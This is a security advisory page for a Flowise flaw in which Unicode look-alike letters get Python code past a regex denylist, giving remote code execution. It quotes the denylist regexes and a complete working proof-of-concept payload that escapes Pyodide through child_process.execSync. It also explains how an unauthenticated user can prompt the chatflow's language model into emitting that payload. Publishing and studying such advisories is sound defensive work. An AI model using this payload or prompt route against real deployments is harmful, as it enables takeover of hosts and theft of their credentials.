CVE-2026-70470: Flowise: Pyodide validator Unicode homoglyph bypass leads to RCE
The Python denylist in Flowise (`pythonCodeValidator.ts`) can be bypassed with Unicode look-alike letters, which restores code execution through the CSV Agent and Airtable Agent nodes. Python normalizes the identifiers; the JavaScript regexes do not match them. Flowise 3.1.2 and earlier are affected. Upgrade flowise and flowise-components to 3.1.3.
Published Aug 4, 2026 · Analysis Oct 25, 2026
What an attacker can do
validatePythonCodeForDataFrame guards every pyodide.runPythonAsync call in CSVAgent.ts and AirtableAgent.ts. It is a list of about 30 regexes such as /\b__class__\b/ and /\bimport\b/. Two facts defeat it. JavaScript \b only knows ASCII word characters, so __cl𝐚ss__ written with U+1D41A (mathematical bold a) never matches. Python 3 normalizes identifiers with NFKC (PEP 3131), so the same text parses as __class__.
The proof of concept walks ().__class__.__base__.__subclasses__() with look-alike letters to find catch_warnings, takes its __builtins__, and builds the string __import__ with chr() so no regex fires. It then imports the Pyodide js module and calls process.mainModule.require('child_process').execSync. The output showed uid=0(root) and the hostname.
There are two routes. In the direct route, a user who can edit chatflows puts the payload in the customReadCSV field. In the indirect route, anyone who can reach a public CSV Agent chatflow sends a prompt through POST /api/v1/prediction/{chatflowId} that asks the model to answer in Python using the look-alike letters. The model's output passes the validator and runs. The vector shows no privileges required, with high attack complexity.
The advisory says this reopens the earlier CSV Agent and Airtable Agent fixes (GHSA-3hjv-c53m-58jj and GHSA-v38x-c887-992f), which relied on the same validator.
Who is affected
flowise and flowise-components on npm, version 3.1.2 and earlier. The risk applies to instances with a chatflow that uses the CSV Agent or Airtable Agent node. Check the installed version:
npm ls flowise flowise-componentsflowise
- Ecosystem
- npm
- Affected
- <= 3.1.2
- Fixed in
- 3.1.3
- Check
npm ls flowise
flowise-components
- Ecosystem
- npm
- Affected
- <= 3.1.2
- Fixed in
- 3.1.3
- Check
npm ls flowise-components
How to fix it
Upgrade both packages to 3.1.3.
npm install -g [email protected]Pull request 6499 does not patch the regex list. It removes the CSV Agent, the Airtable Agent, pythonCodeValidator.ts and the pyodide dependency. Chatflows that use those nodes no longer work after the upgrade. The advisory names no workaround; until you upgrade, remove those nodes from public chatflows and limit who can edit chatflows.
How to tell if you were hit
Search chatflow definitions and prediction request logs for non-ASCII characters in Python-looking text, particularly mathematical alphanumeric letters (code points starting at U+1D400), and for customReadCSV values containing chr( or __subclasses__. In the chat logs, look for model replies that contain Python with catch_warnings. On the host, check for child_process activity, new shells or outbound connections from the Flowise process. Because the model can be steered by a public prompt, check chatflows open to unauthenticated users first.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
The validatePythonCodeForDataFrame blacklist in packages/components/src/pythonCodeValidator.ts can be bypassed with Unicode homoglyph identifiers, allowing arbitrary Python execution inside Pyodide and full OS command execution on the Flowise host via Pyodide's js module interop. This reopens the RCE paths patched as GHSA-3hjv-c53m-58jj (CSV Agent) and GHSA-v38x-c887-992f (Airtable Agent).
Details
packages/components/src/pythonCodeValidator.ts gates every call to pyodide.runPythonAsync in packages/components/nodes/agents/CSVAgent/CSVAgent.ts (lines 147, 198) and packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts (line 186). The gate is a regex blacklist:
{ pattern: /\bimport\b/g, ... },
{ pattern: /\b__class__\b/g, ... },
{ pattern: /\b__subclasses__\s*\(/g, ... },
{ pattern: /\b__builtins__\b/g, ... },
{ pattern: /\b__mro__\b/g, ... },
// ... about 30 similar rulesTwo design flaws combine into a bypass:
- JavaScript regex
\bis ASCII-only. Word boundaries are computed against the ASCII word class[A-Za-z0-9_]. A Unicode letter such as U+1D41A (mathematical bold small a) is treated as a non-word character, so\b__class__\bnever matches__cl𝐚ss__. - Python 3 (PEP 3131) NFKC-normalizes every identifier at parse time.
__cl𝐚ss__,__subcl𝐚sses__,__b𝐚se__,__b𝐮iltins__, and similar homoglyph forms are all parsed as their ASCII equivalents.
Attribute access obj.__cl𝐚ss__ is normalized because attribute names are identifiers. Dict string keys such as bi['__import__'] are not normalized, but they are free text and can be assembled with chr() to avoid literal matches on patterns like \bimport\b or \b__import__\s*\(/.
From inside Pyodide, __builtins__['__import__']('js') yields the JS host bridge. In the Node.js host that runs Flowise, that bridge exposes process.mainModule.require('child_process').execSync, which runs native commands on the host with the privileges of the Flowise process.
Affected call sites:
- packages/components/nodes/agents/CSVAgent/CSVAgent.ts:147 validates
customReadCSV(node-config-controlled, interpolated into the read-CSV script on line 167) and 198 validates the LLM-generatedpythonCodebefore it reachespyodide.runPythonAsync(code)on line 209. - packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts:186 validates the LLM-generated
pythonCodebeforepyodide.runPythonAsyncon line 197.
The original patches for GHSA-3hjv-c53m-58jj (commit a24acac, PR #5701) and a24acac's follow-up (commit 0c8236a, PR #5836) rely entirely on this validator. Because the validator is bypassable, both advisories are effectively reintroduced in 3.1.2.
PoC
Standalone reproduction that mirrors the exact code paths in CSVAgent.ts / AirtableAgent.ts. It feeds a malicious pythonCode to the real validator, confirms the validator returns valid: true, then runs the same string through Pyodide and prints the output of a native command executed on the host:
// npm install pyodide
const { loadPyodide } = require('pyodide')
const FORBIDDEN_PATTERNS = [
{ pattern: /\bfrom\s+\S+\s+import\b/g }, { pattern: /\bimport\b/g },
{ pattern: /\beval\s*\(/g }, { pattern: /\bexec\s*\(/g },
{ pattern: /\bcompile\s*\(/g }, { pattern: /\b__import__\s*\(/g },
{ pattern: /\bopen\s*\(/g }, { pattern: /\bgetattr\s*\(/g },
{ pattern: /\bos\./g }, { pattern: /\bsubprocess\./g },
{ pattern: /\bsys\./g }, { pattern: /\bsocket\./g },
{ pattern: /\burllib\./g }, { pattern: /\brequests\./g },
{ pattern: /\b__builtins__\b/g }, { pattern: /\b__class__\b/g },
{ pattern: /\b__subclasses__\s*\(/g }, { pattern: /\b__bases__\b/g },
{ pattern: /\b__mro__\b/g }, { pattern: /\b__globals__\b/g },
{ pattern: /\b__code__\b/g }, { pattern: /\b__dict__\b/g },
]
const validate = (code) => FORBIDDEN_PATTERNS.every(p => { p.pattern.lastIndex = 0; return !p.pattern.test(code) })
const payload = `
cls = ().__cl\u{1D41A}ss__
base = cls.__b\u{1D41A}se__
subs = base.__subcl\u{1D41A}sses__()
for c in subs:
if c.__name__ == 'catch_warnings':
cw = c()
bi = cw._module.__b\u{1D42E}iltins__
imp_name = chr(95)*2 + 'imp' + 'ort' + chr(95)*2
imp = bi[imp_name]
js_mod = imp(chr(106)+chr(115))
cp_name = 'child' + chr(95) + 'process'
cp = js_mod.process.mainModule.require(cp_name)
opts = js_mod.Object.new(); opts.encoding = 'utf8'
result = cp.execSync('id && hostname && echo FLOWISE_RCE_CONFIRMED', opts)
break
str(result)
`
;(async () => {
console.log('validator passes:', validate(payload)) // true
const py = await loadPyodide()
console.log(await py.runPythonAsync(payload))
})()Run output on a stock host:
validator passes: true
uid=0(root) gid=0(root) groups=0(root)
<hostname>
FLOWISE_RCE_CONFIRMEDLive path against a Flowise deployment:
- Workspace user (or any user able to reach a public CSV Agent chatflow) opens a chatflow containing CSV_Agent or Airtable_Agent.
- For the LLM-generated path: send a chat message via
POST /api/v1/prediction/{chatflowId}that instructs the model to answer in Python using mathematical bold letters for__class__,__subclasses__,__base__, and__builtins__, following the structure above. The model's output is regex-validated (passes), then executed by Pyodide, giving RCE on the host. - For the direct path: a workspace user with chatflow edit rights sets
customReadCSVto the payload above. Every subsequent prediction hits CSVAgent.ts:171 and runs the attacker-controlled code on the host.
Impact
Any user able to reach a chatflow that uses CSV_Agent or Airtable_Agent, including unauthenticated users on public chatflows, can run arbitrary OS commands as the Flowise process on the host. That yields read/write access to every credential and file the Flowise process can reach, pivot into the internal network, and full compromise of multi-tenant workspaces that share the same server. The prior advisories GHSA-3hjv-c53m-58jj and GHSA-v38x-c887-992f were scored 9.8 critical for the same reachable sink; this finding restores that impact in version 3.1.2.
Credited to fg0x0.
Questions
- Is CVE-2026-70470 a bypass of an earlier Flowise fix?
Yes. The advisory says the denylist added for the earlier CSV Agent and Airtable Agent advisories can be evaded with Unicode look-alike letters, so those RCE paths work again in 3.1.2.
- Can an unauthenticated user exploit it?
The advisory says yes on public chatflows that use the CSV Agent or Airtable Agent. The attacker prompts the model to emit the bypass payload through the prediction endpoint. The vector marks attack complexity as high.
- Why does the regex miss the payload?
JavaScript
\btreats characters outside[A-Za-z0-9_]as non-word. A bold𝐚inside__cl𝐚ss__splits the match, but Python converts it back toawhen it parses the identifier.
References
Read for this analysis:
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Flowise vulnerabilities
All Flowise entriesCVE-2026-73483
Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium
critical9.4Oct 7, 2026CVE-2026-73487
Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass
critical9.0Oct 7, 2026CVE-2026-69250
Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration
high8.5Aug 4, 2026CVE-2026-69251
Flowise RCE via TypeORM DataSource
critical9.0Aug 4, 2026CVE-2026-69252
Flowise: Missing authorization on `/api/v1/files` allows low-privileged API keys to list and delete files across workspaces within the same organization
high7.2Aug 4, 2026CVE-2026-69253
Flowise Sandbox Escape to RCE
critical9.0Aug 4, 2026
